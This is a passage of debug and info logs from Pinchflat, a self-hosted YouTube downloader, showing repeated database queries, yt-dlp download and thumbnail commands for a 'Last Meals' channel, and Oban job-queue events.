s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:50.996 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:50.997 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_0ZAIHERgFc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/38/51380cf6d039c5e1367319f1c31f0fd68ebf10b84d5f477868f969f5eba8977d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:56:53.244 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_0ZAIHERgFc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/38/51380cf6d039c5e1367319f1c31f0fd68ebf10b84d5f477868f969f5eba8977d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:56:53.244 [debug] Running yt-dlp command for action: download 21:56:53.244 [debug] QUERY OK source="settings" db=0.0ms idle=1183.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:53.244 [debug] QUERY OK source="settings" db=0.0ms idle=1183.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:53.244 [debug] QUERY OK source="settings" db=0.0ms idle=1183.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:56:53.244 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_0ZAIHERgFc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ed/e2/ede2f3ffe4c0d226571bc6e4de8d34f187998573409c4a18e06d405e401b356b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:56:58.799 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:00.634 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:57:28.801 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:57:58.803 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:00.634 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:28.804 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:58.805 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:00.635 [info] {"source":"oban","duration":225,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:09.692 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VATL3_aQD2c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/0e/14/0e14b8b02a5f5ef8017b171876aa69c66d97f47a53e0b18f23960be52328053c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:59:09.703 [debug] Running yt-dlp command for action: download_thumbnail 21:59:09.703 [debug] QUERY OK source="settings" db=0.1ms idle=1642.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:09.703 [debug] QUERY OK source="settings" db=0.0ms idle=1642.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:09.703 [debug] QUERY OK source="settings" db=0.0ms idle=1642.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:09.703 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VATL3_aQD2c --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/57/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/45/d0/45d0d845bd79aadbb6959483c5f6bc1dd7b8c24f3087967623323466efbfcb37.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:59:12.483 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=VATL3_aQD2c --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/57/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/45/d0/45d0d845bd79aadbb6959483c5f6bc1dd7b8c24f3087967623323466efbfcb37.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:59:12.483 [debug] QUERY OK db=0.0ms idle=1423.4ms begin [] 21:59:12.484 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:59:09Z], "/downloads/Last Meals/2025-03-04 Brenda Song Eats Her Last Meal/Brenda Song Eats Her Last Meal [VATL3_aQD2c].mp4", ~U[2026-03-28 01:59:12Z], 57] 21:59:12.485 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/57/metadata.json.gz", "/config/metadata/media_items/57/thumbnail.jpg", 57, ~U[2026-03-28 01:59:12Z], ~U[2026-03-28 01:59:12Z]] 21:59:12.485 [debug] QUERY OK db=0.0ms commit [] 21:59:12.486 [debug] QUERY OK source="media_items" db=0.5ms idle=1425.0ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [447525936, ~U[2026-03-28 01:59:12Z], 57] 21:59:12.486 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:59:12.486 [info] {"args":{"id":57},"id":60,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":146010285,"event":"job:stop","queue_time":4103475397,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:59:12.486 [debug] QUERY OK source="tasks" db=0.3ms idle=947.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:59:12.486 [debug] QUERY OK source="tasks" db=0.3ms idle=425.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:59:12.487 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [58] 21:59:12.487 [debug] QUERY OK source="media_items" db=0.2ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [58] 21:59:12.492 [info] {"args":{"id":59},"id":62,"meta":{},"system_time":1774663152492610226,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:59:12.493 [debug] QUERY OK source="media_items" db=0.3ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [59] 21:59:12.493 [debug] QUERY OK source="tasks" db=0.4ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:59:12.493 [debug] QUERY OK source="tasks" db=0.4ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:59:12.493 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:59:12.493 [debug] QUERY OK source="media_items" db=0.3ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [58, 59] 21:59:12.493 [debug] QUERY OK source="sources" db=0.3ms idle=0.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:59:12.493 [debug] QUERY OK source="media_items" db=0.4ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [58, 59] 21:59:12.493 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:59:12.494 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [59] 21:59:12.494 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [59] 21:59:12.494 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:59:12.494 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:12.494 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:12.494 [debug] Running yt-dlp command for action: get_downloadable_status 21:59:12.494 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:12.494 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:12.495 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:12.495 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=qKTJQwolUNg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b3/32/b332d1567c9d424c6316c721b50c6fd0a9cd12e3865dbf50bc766fb3cbf6f806.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:59:14.955 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=qKTJQwolUNg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b3/32/b332d1567c9d424c6316c721b50c6fd0a9cd12e3865dbf50bc766fb3cbf6f806.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:59:14.955 [debug] Running yt-dlp command for action: download 21:59:14.955 [debug] QUERY OK source="settings" db=0.1ms idle=895.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:14.956 [debug] QUERY OK source="settings" db=0.0ms idle=895.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:14.956 [debug] QUERY OK source="settings" db=0.0ms idle=895.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:59:14.956 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=qKTJQwolUNg --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2f/52/2f520d9abd0e58ca99c7de128b7cd6cf3a4566d838a973f7264a4b772e1d69af.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:59:28.806 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:58.807 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:00.637 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[116]} 22:00:28.809 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:00:41.011 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 22:00:41.012 [debug] QUERY OK source="media_items" db=0.9ms idle=950.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:00:41.014 [debug] QUERY OK source="media_items" db=1.1ms idle=952.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:00:41.015 [debug] QUERY OK source="sources" db=0.3ms idle=954.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:00:41.015 [debug] Replied in 4ms 22:00:58.710 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_0ZAIHERgFc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/ed/e2/ede2f3ffe4c0d226571bc6e4de8d34f187998573409c4a18e06d405e401b356b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:00:58.732 [debug] Running yt-dlp command for action: download_thumbnail 22:00:58.732 [debug] QUERY OK source="settings" db=0.0ms idle=671.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:00:58.732 [debug] QUERY OK source="settings" db=0.0ms idle=671.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:00:58.732 [debug] QUERY OK source="settings" db=0.0ms idle=671.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 